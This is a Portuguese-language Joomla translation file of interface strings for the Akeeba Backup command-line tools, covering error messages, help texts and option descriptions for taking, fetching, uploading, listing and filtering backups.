COM_AKEEBABACKUP_CLI_ERR_NO_LIVE_SITE="Este script não conseguiu detetar o URL do seu sítio em produção. Por favor visite a página do Painel de Controlo do Akeeba Backup pelo menos uma vez antes de executar este script, para que esta informação possa ser armazenada para uso por este script."
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_DISABLED="A funcionalidade de cópia de segurança no frontend da sua instalação do Akeeba Backup está atualmente desativada. Por favor inicie sessão no backend do seu sítio como Super Utilizador, vá ao Painel de Controlo do Akeeba Backup, clique no ícone Opções no canto superior direito e ative a funcionalidade de cópia de segurança no frontend. Não se esqueça de também definir uma Palavra Secreta!"
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_NOSECRET="Ativou a funcionalidade de cópia de segurança no frontend, mas esqueceu-se de definir uma palavra secreta. Sem uma palavra secreta válida, este script não pode continuar. Por favor inicie sessão no backend do seu sítio como Super Administrador, vá ao Painel de Controlo do Akeeba Backup, clique no ícone Opções no canto superior direito e defina uma Palavra Secreta."
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_NOMETHOD="Não foi possível encontrar nenhum método suportado para executar a funcionalidade de cópia de segurança no frontend do Akeeba Backup. Por favor verifique com o seu alojamento se pelo menos uma das seguintes funcionalidades é suportada na sua configuração do PHP:"
COM_AKEEBABACKUP_CLI_ERR_FECHECK_NOMETHOD="Não foi possível encontrar nenhum método suportado para executar a funcionalidade de cópia de segurança falhada no frontend do Akeeba Backup. Por favor verifique com o seu alojamento se pelo menos uma das seguintes funcionalidades é suportada na sua configuração do PHP:"
COM_AKEEBABACKUP_CLI_ERR_FEBACKUPORCHECK_METHOD_CURL="1. A extensão cURL"
COM_AKEEBABACKUP_CLI_ERR_FEBACKUPORCHECK_METHOD_FOPEN="2. Os wrappers de URL do fopen(), ou seja, allow_url_fopen está ativado"
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_METHOD_NOMETHOD="Se nenhum dos métodos estiver disponível, não poderá fazer cópia de segurança do seu sítio usando este comando CLI."
COM_AKEEBABACKUP_CLI_ERR_FECHECK_METHOD_NOMETHOD="Se nenhum dos métodos estiver disponível, não poderá verificar o seu sítio em busca de cópias de segurança falhadas usando este comando CLI."
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_HTTP_ERROR="A sua tentativa de cópia de segurança falhou com o código de erro HTTP %d (%s). Por favor verifique o registo da cópia de segurança e o registo de erros do seu servidor para mais informações."
COM_AKEEBABACKUP_CLI_ERR_FECHECK_HTTP_ERROR="A sua tentativa de verificação de cópia de segurança falhada falhou com o código de erro HTTP %d (%s). Por favor verifique o registo de erros do seu servidor para mais informações."
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_NO_MESSAGE_FROM_SERVER="A sua tentativa de cópia de segurança atingiu o tempo limite, ou ocorreu um erro fatal do PHP. Por favor verifique o registo da cópia de segurança e o registo de erros do seu servidor para mais informações."
COM_AKEEBABACKUP_CLI_ERR_FECHECK_NO_MESSAGE_FROM_SERVER="A sua tentativa de verificar cópias de segurança falhadas atingiu o tempo limite, ou ocorreu um erro fatal do PHP."
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_ERROR_RECEIVED="Ocorreu um erro de cópia de segurança. A resposta do servidor foi:"
COM_AKEEBABACKUP_CLI_ERR_FECHECK_ERROR_RECEIVED="Ocorreu um erro de verificação de cópias de segurança falhadas. A resposta do servidor foi:"
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_ERROR403_RECEIVED="O servidor negou a ligação. Por favor certifique-se de que a funcionalidade de cópia de segurança no frontend está ativada e que uma palavra secreta válida está definida."
COM_AKEEBABACKUP_CLI_ERR_SERVER_RESPONSE="Resposta do servidor:"
COM_AKEEBABACKUP_CLI_ERR_CORRUPT_RESPONSE="Não conseguimos compreender a resposta do servidor. Muito provavelmente ocorreu um erro de cópia de segurança. A resposta do servidor foi:"
COM_AKEEBABACKUP_CLI_ERR_FECHECKS_CORRUPT_RESPONSE="Não conseguimos compreender a resposta do servidor. Muito provavelmente ocorreu um erro de verificação de cópias de segurança falhadas. A resposta do servidor foi:"
COM_AKEEBABACKUP_CLI_ERR_CORRUPT_RESPONSE_INFO="Se não vir “200 OK” no final desta saída, a cópia de segurança falhou."
COM_AKEEBABACKUP_CLI_ERR_FECHECKS_CORRUPT_RESPONSE_INFO="Se não vir “200 OK” no final desta saída, a verificação de cópias de segurança falhadas falhou."

COM_AKEEBABACKUP_CLI_CHECK_ALT_COMMAND_HELP="<info>%command.name%</info> verificará tentativas de cópia de segurança falhadas com o Akeeba Backup, usando a sua funcionalidade no frontend.\nUtilização: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_CHECK_ALT_COMMAND_DESC="Verificar cópias de segurança falhadas do Akeeba Backup com a sua funcionalidade no frontend"

COM_AKEEBABACKUP_CLI_UPLOADCHECK_ALT_COMMAND_HELP="<info>%command.name%</info> verificará cópias de segurança do Akeeba Backup que falharam o envio para o armazenamento remoto, usando a sua funcionalidade no frontend.\nUtilização: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_UPLOADCHECK_ALT_COMMAND_DESC="Verificar cópias de segurança do Akeeba Backup que falharam o envio para o armazenamento remoto, usando a sua funcionalidade no frontend"

COM_AKEEBABACKUP_CLI_BACKUP_ALT_COMMAND_HELP="<info>%command.name%</info> realizará uma cópia de segurança com o Akeeba Backup, usando a sua funcionalidade de cópia de segurança no frontend.\nUtilização: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_ALT_COMMAND_DESC="Realizar uma cópia de segurança com a funcionalidade de cópia de segurança no frontend do Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_ALT_OPT_PROFILE="Número do perfil"
COM_AKEEBABACKUP_CLI_HEAD_BACKUP_ALTERNATE="A realizar uma cópia de segurança com a funcionalidade de cópia de segurança no frontend do Akeeba Backup"

COM_AKEEBABACKUP_CLI_HEAD_CHECK_ALTERNATE="A verificar tentativas de cópia de segurança falhadas realizadas com o Akeeba Backup usando a funcionalidade no frontend"

COM_AKEEBABACKUP_CLI_LBL_UNSET_TIME_LIMITS="A remover as restrições de limite de tempo"
COM_AKEEBABACKUP_CLI_LBL_START_BACKUP_WITH_PROFILE="A iniciar uma cópia de segurança com o perfil de cópia de segurança #%d"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_BEGINNING_BACKUP="[%s] A iniciar a cópia de segurança"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_BEGINNING_CHECK="[%s] A iniciar a verificação de cópias de segurança falhadas"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_BEGINNING_UPLOADCHECK="[%s] A iniciar a verificação de envios falhados"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_RECEIVED_HTTP="[%s] Recebido HTTP %d"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_NO_MESSAGE="[%s] Nenhuma mensagem recebida"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_PROGRESS_RECEIVED="[%s] Sinal de progresso da cópia de segurança recebido"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_FINALISATION_RECEIVED="[%s] Mensagem de finalização da cópia de segurança recebida"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_CHECKS_FINALISATION_RECEIVED="[%s] Mensagem de finalização das verificações recebida"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_ERROR500_RECEIVED="[%s] Sinal de erro recebido"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_ERROR403_RECEIVED="[%s] Mensagem de ligação negada (403) recebida"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_CORRUPT="[%s] Não foi possível analisar a resposta do servidor."

COM_AKEEBABACKUP_CLI_LBL_FEBACKUP_FINISH_HEAD="A sua cópia de segurança terminou com sucesso."
COM_AKEEBABACKUP_CLI_LBL_FEBACKUP_FINISH_DETAILS="Por favor reveja o ficheiro de registo da sua cópia de segurança em busca de quaisquer mensagens de aviso. Se vir tais mensagens, por favor certifique-se de que a sua cópia de segurança está a funcionar corretamente tentando restaurá-la num servidor local."

COM_AKEEBABACKUP_CLI_LBL_FECHECK_FINISH_HEAD="As verificações terminaram com sucesso."

COM_AKEEBABACKUP_CLI_HEAD_CHECK="A verificar tentativas de cópia de segurança falhadas realizadas com o Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_CHECK_HELP="<info>%command.name%</info> verificará tentativas de cópia de segurança falhadas realizadas com o Akeeba Backup\nUtilização: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_CHECK_DESC="Verificar tentativas de cópia de segurança falhadas do Akeeba Backup"

COM_AKEEBABACKUP_CLI_HEAD_FAILEDUPLOAD_ALTERNATE="A verificar cópias de segurança do Akeeba Backup que falharam o envio para o armazenamento remoto usando a funcionalidade no frontend"
COM_AKEEBABACKUP_CLI_HEAD_FAILEDUPLOAD="A verificar cópias de segurança do Akeeba Backup que falharam o envio para o armazenamento remoto"
COM_AKEEBABACKUP_CLI_FAILEDUPLOAD_HELP="<info>%command.name%</info> verificará cópias de segurança realizadas com o Akeeba Backup que falharam o envio para o armazenamento remoto.\nUtilização: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_FAILEDUPLOAD_DESC="Verificar cópias de segurança do Akeeba Backup que falharam o envio"

COM_AKEEBABACKUP_CLI_HEAD_BACKUP_DELETE="A eliminar o registo do Akeeba Backup #%d"
COM_AKEEBABACKUP_CLI_LBL_BACKUP_DELETE_FILES="Os ficheiros do registo de cópia de segurança #%d foram eliminados."
COM_AKEEBABACKUP_CLI_LBL_BACKUP_DELETE="O registo de cópia de segurança #%d foi eliminado."
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DELETE_FILES="Não é possível eliminar os ficheiros do registo de cópia de segurança #%d: %s"
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DELETE="Não é possível eliminar o registo de cópia de segurança #%d: %s"
COM_AKEEBABACKUP_CLI_BACKUP_DELETE_HELP="<info>%command.name%</info> eliminará um registo de cópia de segurança conhecido do Akeeba Backup, ou apenas os seus ficheiros\nUtilização: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_DELETE_DESC="Elimina um registo de cópia de segurança conhecido do Akeeba Backup, ou apenas os seus ficheiros"
COM_AKEEBABACKUP_CLI_BACKUP_DELETE_OPT_ID="O id do registo de cópia de segurança a eliminar"
COM_AKEEBABACKUP_CLI_BACKUP_DELETE_OPT_ONLY_FILES="Eliminar apenas os ficheiros de cópia de segurança armazenados no servidor do sítio, não o próprio registo."

COM_AKEEBABACKUP_CLI_HEAD_BACKUP_DOWNLOAD="A obter a parte #%d do registo do Akeeba Backup #%d"
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DOWNLOAD_NO_FILES="O registo de cópia de segurança '%s' não tem quaisquer ficheiros disponíveis para transferência. Já os eliminou?"
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DOWNLOAD_NO_FILES_MAYBE_REMOTE="O registo de cópia de segurança '%s' não tem quaisquer ficheiros disponíveis para transferência no servidor. Se estiverem armazenados remotamente, poderá ter de usar primeiro o comando fetch."
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DOWNLOAD_PART_OUT_OF_RANGE="Não existe a parte '%s' do registo de cópia de segurança '%s'."
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DOWNLOAD_PART_FILE_MISSING="Não é possível encontrar a parte '%s' do registo de cópia de segurança '%s' no servidor."
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DOWNLOAD_PART_FILE_UNREADABLE="Não é possível abrir '%s' para leitura. Verifique as permissões / ACLs do ficheiro."
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DOWNLOAD_PART_FILE_UNWRITEABLE="Não é possível abrir '%s' para escrita. Verifique se a pasta existe e as permissões / ACLs tanto da pasta envolvente como do ficheiro."
COM_AKEEBABACKUP_CLI_LBL_BACKUP_DOWNLOAD_DONE="Transferida a parte %d do registo de cópia de segurança #%d para o ficheiro %s"
COM_AKEEBABACKUP_CLI_BACKUP_DOWNLOAD_HELP="<info>%command.name%</info> apresentará ou escreverá um ficheiro com uma parte do arquivo de cópia de segurança de um registo de cópia de segurança conhecido do Akeeba Backup\nUtilização: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_DOWNLOAD_DESC="Devolve uma parte do arquivo de cópia de segurança para um registo de cópia de segurança conhecido do Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_DOWNLOAD_OPT_ID="O id do registo de cópia de segurança cujos arquivos pretende obter"
COM_AKEEBABACKUP_CLI_BACKUP_DOWNLOAD_OPT_PART="O número da parte do arquivo de cópia de segurança a obter"
COM_AKEEBABACKUP_CLI_BACKUP_DOWNLOAD_OPT_FILE="Caminho do ficheiro onde escrever. Apresentará no STDOUT se não for definido."

COM_AKEEBABACKUP_CLI_BACKUP_FETCH_HEAD="A obter os ficheiros armazenados remotamente para o registo do Akeeba Backup #%d"
COM_AKEEBABACKUP_CLI_BACKUP_FETCH_SECTION_DOWNLOADING="A transferir o arquivo de cópia de segurança para a cópia de segurança #%d"
COM_AKEEBABACKUP_CLI_BACKUP_FETCH_LBL_PART_FRAG="Ficheiro de parte: %d, fragmento de ficheiro: %d"
COM_AKEEBABACKUP_CLI_BACKUP_FETCH_LBL_FINISHED="A obtenção dos ficheiros do registo de cópia de segurança '%s' terminou."
COM_AKEEBABACKUP_CLI_BACKUP_FETCH_ERR_FAILED="A obtenção dos ficheiros do registo de cópia de segurança '%s' falhou."
COM_AKEEBABACKUP_CLI_BACKUP_FETCH_HELP="<info>%command.name%</info> transferirá os arquivos de cópia de segurança de uma cópia de segurança conhecida do Akeeba backup do armazenamento remoto de volta para o servidor.\nUtilização: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_FETCH_DESC="Transferir uma cópia de segurança do armazenamento remoto de volta para o servidor"
COM_AKEEBABACKUP_CLI_BACKUP_FETCH_OPT_ID="O id do registo de cópia de segurança a obter"

COM_AKEEBABACKUP_CLI_BACKUP_INFO_HEAD="Informação para o registo do Akeeba Backup #%d"
COM_AKEEBABACKUP_CLI_BACKUP_INFO_HELP="<info>%command.name%</info> listará um registo de cópia de segurança conhecido do Akeeba Backup\nUtilização: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_INFO_DESC="Lista um registo de cópia de segurança conhecido do Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_INFO_OPT_ID="O id do registo de cópia de segurança a listar"
COM_AKEEBABACKUP_CLI_BACKUP_INFO_OPT_FORMAT="Formato de saída: table, json, yaml, csv, count."

COM_AKEEBABACKUP_CLI_BACKUP_LIST_HEAD="Lista de registos do Akeeba Backup que correspondem aos seus critérios"
COM_AKEEBABACKUP_CLI_BACKUP_LIST_HELP="<info>%command.name%</info> listará os registos de cópia de segurança conhecidos do Akeeba Backup\nUtilização: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_LIST_DESC="Lista os registos de cópia de segurança conhecidos do Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_FROM="Quantos registos de cópia de segurança ignorar antes de iniciar a saída."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_LIMIT="Número máximo de registos de cópia de segurança a apresentar."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_FORMAT="Formato de saída: table, json, yaml, csv, count."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_DESCRIPTION="Os registos de cópia de segurança listados têm de corresponder a esta descrição (parcial)."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_AFTER="Listar registos de cópia de segurança realizados após esta data."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_BEFORE="Listar registos de cópia de segurança realizados antes desta data."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_ORIGIN="Listar apenas cópias de segurança desta origem: backend, frontend, json, cli."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_PROFILE="Listar cópias de segurança realizadas com este perfil. Indique o ID numérico do perfil."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_SORT_BY="Ordenar a saída pela coluna indicada: id, description, profile_id, backupstart"
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_SORT_ORDER="Ordem de ordenação: asc, desc."

COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_HEAD="A modificar o registo do Akeeba Backup #%d"
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_HELP="<info>%command.name%</info> modificará um registo de cópia de segurança conhecido do Akeeba Backup\nUtilização: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_DESC="Modifica um registo de cópia de segurança conhecido do Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_ERR_DESC_AND_COMMENT_REQUIRED="Tem de especificar um ou ambos de --description e --comment"
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_ERR_CANNOT_MODIFY="Não é possível modificar o registo de cópia de segurança #%d"
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_LBL_MODIFIED="O registo de cópia de segurança #%d foi modificado."
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_OPT_ID="O id do registo de cópia de segurança a modificar"
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_OPT_DESCRIPTION="Alterar a descrição breve para este valor."
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_OPT_COMMENT="Alterar o comentário da cópia de segurança para este valor (aceita HTML)."

COM_AKEEBABACKUP_CLI_BACKUP_TAKE_HEAD="A realizar uma cópia de segurança com o Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_SECTION_START="A iniciar a cópia de segurança usando o perfil #%s."
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_CONSOLELOG_LASTTICK="Último Tick : %s"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_CONSOLELOG_DOMAIN="Domínio     : %s"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_CONSOLELOG_STEP="Passo       : %s"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_CONSOLELOG_SUBSTEP="Subpasso    : %s"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_CONSOLELOG_PROGRESS="Progresso   : %1.2f%%"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_CONSOLELOG_MEMORY="Memória usada : %s"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_LBL_PEAKMEM="Pico de memória usada : %s"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_LBL_TOTALTILE="Ciclo de cópia de segurança terminou após %s"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_LBL_COMPLETE_WITH_WARNINGS="O processo de cópia de segurança está agora completo com avisos."
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_LBL_COMPLETE="O processo de cópia de segurança está agora completo."
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_HELP="<info>%command.name%</info> realizará uma cópia de segurança com o Akeeba Backup\nUtilização: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_DESC="Realizar uma cópia de segurança com o Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_OPT_PROFILE="Número do perfil"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_OPT_DESCRIPTION="Descrição breve para o registo de cópia de segurança, aceita as variáveis padrão de nomenclatura de arquivos do Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_OPT_COMMENT="Comentário mais longo para o registo de cópia de segurança, forneça-o em HTML"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_OPT_OVERRIDES="Configurar substituições de configuração no formato \"key1=value1,key2=value2\""

COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_HEAD="A reenviar o registo do Akeeba Backup #%d"
COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_LBL_PROGRESS="A tentar reenviar o registo de cópia de segurança '%s', ficheiro de parte #%s, fragmento #%s. Isto pode demorar algum tempo."
COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_LBL_COMPLETE="O reenvio do registo de cópia de segurança '%s' está completo."
COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_ERR_FAILED="O reenvio do registo de cópia de segurança '%s' falhou."
COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_HELP="<info>%command.name%</info> tentará novamente enviar uma cópia de segurança conhecida do Akeeba Backup para o armazenamento remoto.\nUtilização: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_DESC="Tentar novamente enviar uma cópia de segurança para o armazenamento remoto"
COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_OPT_ID="O id do registo de cópia de segurança a enviar"

COM_AKEEBABACKUP_CLI_FILTER_DELETE_HEAD="A eliminar o filtro %s “%s” do tipo %s do perfil #%d"
COM_AKEEBABACKUP_CLI_FILTER_TYPE_DATABASE="base de dados"
COM_AKEEBABACKUP_CLI_FILTER_TYPE_FILESYSTEM="sistema de ficheiros"
COM_AKEEBABACKUP_CLI_FILTER_DELETE_ERR_UNKNOWN_ROOT="Raiz %s desconhecida '%s'."
COM_AKEEBABACKUP_CLI_FILTER_DELETE_ONLY_PRO="Os filtros do tipo '%s' só estão disponíveis com o Akeeba Backup Professional."
COM_AKEEBABACKUP_CLI_FILTER_DELETE_ERR_FAILED="Não foi possível eliminar o filtro '%s' do tipo '%s'."
COM_AKEEBABACKUP_CLI_FILTER_DELETE_LBL_DELETED="Filtro '%s' do tipo '%s' eliminado."
COM_AKEEBABACKUP_CLI_FILTER_DELETE_HELP="<info>%command.name%</info> eliminará um valor de filtro conhecido do Akeeba Backup.\nUtilização: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_FILTER_DELETE_DESC="Eliminar um valor de filtro conhecido do Akeeba Backup."
COM_AKEEBABACKUP_CLI_FILTER_DELETE_OPT_FILTER="O nome do filtro a eliminar"
COM_AKEEBABACKUP_CLI_FILTER_DELETE_OPT_ROOT="Qual a raiz de filtro a usar. Predefine para [SITEROOT] ou [SITEDB] dependendo do tipo de filtro."
COM_AKEEBABACKUP_CLI_FILTER_DELETE_OPT_FILTERTYPE="O tipo de filtro que pretende eliminar: files, directories, skipdirs, skipfiles, regexfiles, regexdirectories, regexskipdirs, regexskipfiles, tables, tabledata, regextables, regextabledata, extradirs, multidb"
COM_AKEEBABACKUP_CLI_FILTER_DELETE_OPT_PROFILE="O perfil de cópia de segurança a usar. Predefinição: 1."

COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_HEAD="A adicionar o filtro %s “%s” do tipo %s ao perfil #%d"
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_ERR_FAILED="Não foi possível adicionar o filtro '%s' do tipo '%s'."
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_LBL_SUCCESS="Filtro '%s' do tipo '%s' adicionado."
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_HELP="<info>%command.name%</info> definirá um filtro de exclusão de ficheiro, pasta ou tabela no Akeeba Backup.\nUtilização: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_DESC="Definir um filtro de exclusão no Akeeba Backup."
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_OPT_FILTER="O alvo do filtro a adicionar. Este é o caminho completo para um ficheiro/diretório, um nome de tabela ou uma expressão regular, dependendo do tipo de filtro."
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_OPT_ROOT="Qual a raiz de filtro a usar. Predefine para [SITEROOT] ou [SITEDB] dependendo do tipo de filtro."
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_OPT_FILTERTYPE="O tipo de filtro que pretende adicionar: files, directories, skipdirs, skipfiles, regexfiles, regexdirectories, regexskipdirs, regexskipfiles, tables, tabledata, regextables, regextabledata"
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_OPT_PROFILE="O perfil de cópia de segurança a usar. Predefinição: 1."

COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_ERR_NEED_PRO="Esta funcionalidade requer o Akeeba Backup Professional"
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_ERR_ALREADY_EXISTS="A base de dados '%s' já está incluída. Elimine o antigo filtro de inclusão antes de tentar adicionar a base de dados novamente."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_ERR_CANNOT_CONNECT="Não foi possível ligar à base de dados '%s'. O servidor reportou '%s'. Use a opção --no-check para continuar de qualquer forma, mas tenha em atenção que a sua cópia de segurança resultará muito provavelmente num erro."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_ERR_FAILED="Não foi possível incluir a base de dados '%s'."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_LBL_ADDED="Base de dados '%s' adicionada."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_HELP="<info>%command.name%</info> adicionará uma base de dados adicional para ser incluída na cópia de segurança pelo Akeeba Backup.\nUtilização: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_DESC="Adiciona uma base de dados adicional para ser incluída na cópia de segurança pelo Akeeba Backup."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_PROFILE="O perfil de cópia de segurança a usar. Predefinição: 1."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_DBDRIVER="O controlador de base de dados a usar: mysqli, pdomysql"
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_DBPORT="A porta do servidor de base de dados. Ignore para usar a predefinição do controlador."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_DBUSERNAME="O nome de utilizador da ligação à base de dados."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_DBPASSWORD="A palavra-passe da ligação à base de dados."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_DBNAME="O nome da base de dados."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_DBPREFIX="O prefixo comum dos nomes das tabelas da base de dados, permite-lhe alterá-lo na restauração."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_CHECK="Verificar a ligação à base de dados antes de adicionar o filtro."

COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_ERR_EXISTS="O diretório '%s' já está incluído com a raiz '%s'. Elimine o antigo filtro de inclusão antes de tentar adicionar o diretório novamente."
COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_ERR_FAILED="Não foi possível adicionar o diretório '%s'."
COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_LBL_SUCCESS="Diretório '%s' adicionado."
COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_HELP="<info>%command.name%</info> adicionará um diretório externo adicional para ser incluído na cópia de segurança pelo Akeeba Backup.\nUtilização: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_DESC="Adicionar um diretório externo adicional para ser incluído na cópia de segurança pelo Akeeba Backup."
COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_OPT_PROFILE="O perfil de cópia de segurança a usar. Predefinição: 1."
COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_OPT_DIRECTORY="Caminho completo para o diretório externo a adicionar à cópia de segurança."
COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_OPT_VIRTUAL="A subpasta dentro do arquivo de cópia de segurança onde estes ficheiros serão armazenados. Esta é uma subpasta do "diretório virtual" cujo nome é definido na página de Configuração. Ignore para determinar automaticamente."

COM_AKEEBABACKUP_CLI_FILTER_LIST_TITLE="Lista de filtros do Akeeba Backup que correspondem aos seus critérios"
COM_AKEEBABACKUP_CLI_FILTER_LIST_HELP="<info>%command.name%</info> listará os valores de filtro de um perfil do Akeeba Backup.\nUtilização: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_FILTER_LIST_DESC="Obter os valores de filtro conhecidos do Akeeba Backup."
COM_AKEEBABACKUP_CLI_FILTER_LIST_OPT_ROOT="Qual a raiz de filtro a usar. Predefine para [SITEROOT] ou [SITEDB] dependendo da opção --target. Ignorado para --type=include. Dica: as raízes do sistema de ficheiros e da base de dados são a coluna "filter" para --type=include. Existem duas raízes especiais, [SITEROOT] (a raiz do sistema de ficheiros do sítio Joomla) e [SITEDB] (a base de dados principal do sítio Joomla)."
COM_AKEEBABACKUP_CLI_FILTER_LIST_OPT_PROFILE="O perfil de cópia de segurança a usar. Predefinição: 1."
COM_AKEEBABACKUP_CLI_FILTER_LIST_OPT_TARGET="O alvo dos filtros que pretende listar: fs (ficheiros e pastas) ou db (base de dados)"
COM_AKEEBABACKUP_CLI_FILTER_LIST_OPT_TYPE="O tipo de filtros que pretende listar: exclude, include ou regex"
COM_AKEEBABACKUP_CLI_FILTER_LIST_OPT_FORMAT="Formato de saída: table, json, yaml, csv, count."

COM_AKEEBABACKUP_CLI_LOG_GET_HELP="<info>%command.name%</info> obterá um ficheiro de registo do diretório de saída do perfil do Akeeba Backup especificado. Nota: ficheiros de registo de outros perfis de cópia de segurança ou instalações do Akeeba Backup que partilham o mesmo diretório de saída também podem ser obtidos.\nUtilização: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_LOG_GET_DESC="Obter um ficheiro de registo conhecido do Akeeba Backup"
COM_AKEEBABACKUP_CLI_LOG_GET_OPT_PROFILE_ID="Serão obtidos os ficheiros de registo no diretório de saída deste perfil do Akeeba Backup"
